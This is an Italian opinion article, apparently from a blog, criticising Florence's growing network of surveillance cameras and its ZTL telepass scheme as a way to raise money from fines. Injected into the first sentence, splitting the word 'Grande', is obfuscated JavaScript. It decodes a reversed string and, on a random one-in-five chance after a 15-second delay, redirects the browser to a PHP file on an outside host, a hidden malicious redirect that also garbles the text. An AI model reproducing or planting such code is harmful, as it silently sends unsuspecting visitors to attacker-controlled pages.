Siamo tutti in tv!

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Il Gr (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ande Fratello è sbarcato a Firenze. E non parliamo di televisione, ma dell’occhio elettronico che spia la vita di tutti i cittadini, di cui parlò per la prima volta George Orwell nel libro 1984.
Le telecamere installate dal Comune di Firenze in città continuano ad aumentare e ormai hanno quasi raggiunto l’impressionante numero di cento. Cento telecamere che filmano i cittadini, attori inconsapevoli di uno spettacolo in onda sui video a circuito chiuso della Polizia Municipale, della Questura e dei Carabinieri.
Telecamere ovunque: Santo Spirito, San Lorenzo, Palazzo Vecchio, sui viali e a partire dall’estate anche alle Cascine. Vengono chiamate “telecamere amiche”. Ma amiche di chi? Non certo dei fiorentini che vengono monitorati costantemente nei loro spostamenti. Più telecamere, più sicurezza: è lo slogan sbandierato dal Comune per giustificare questa iniziativa. Più telecamere, meno privacy: diciamo noi, soprattutto quando il numero supera la reale necessità. Come recita la legge sulla privacy, l’installazione di sistemi di ripresa deve essere giustificata e comprovata da reali esigenze; l’uso è consentito se serve a individuare e a prevenire reati gravi.
La passione della giunta per il controllo video ha avuto un’ulteriore conferma con il nuovo sistema di telepass che regolamenta l’accesso alla ztl. E in questo caso le domande riguardano sia il merito sia il metodo.
Da novembre gli ingressi nella zona a traffico limitato di Firenze nei settori A, D e E sono controllati dalle telecamere e da fine marzo il sistema sarà completato ed esteso anche ai settori B e C. Per chi non sarà in possesso del fatidico marchingegno scatteranno inevitabili le multe. “Basta con l’ingresso selvaggio in centro – assicurano dal Comune – da oggi chi sbaglia paga”. Per la verità, paga anche chi non sbaglia: infatti i residenti hanno dovuto sborsare 48 euro per l’acquisto del telepass mentre per i non residenti il prezzo è stato di 113 euro.
Siamo sicuri che questa novità sia stata introdotta per impedire l’ingresso in centro ai non autorizzati? Se così fosse, invece di un atteggiamento punitivo (sbagli, ti multo e quindi paghi), poteva essere previsto un sistema che impedisse fisicamente l’accesso, per esempio delle sbarre come avviene per il telepass autostradale.
L’impressione è che l’interesse non sia migliorare la qualità dell’aria nel centro storico, ma avere la certezza di multare chi non è autorizzato per fare cassa e aumentare gli introiti derivanti dalle multe. Ci diranno che difficoltà logistiche e organizzative impedivano una scelta diversa, ma il dubbio rimane. Anzi, cresce, vedendo le previsioni di bilancio fatte dal Comune per gli incassi derivanti dalle multe: 44 milioni di euro per il 2004, ben 12 milioni di euro in più rispetto all’anno scorso. Nel 1999, primo anno della giunta Domenici erano 17 milioni di euro, in cinque anni la cifra è più che raddoppiata.

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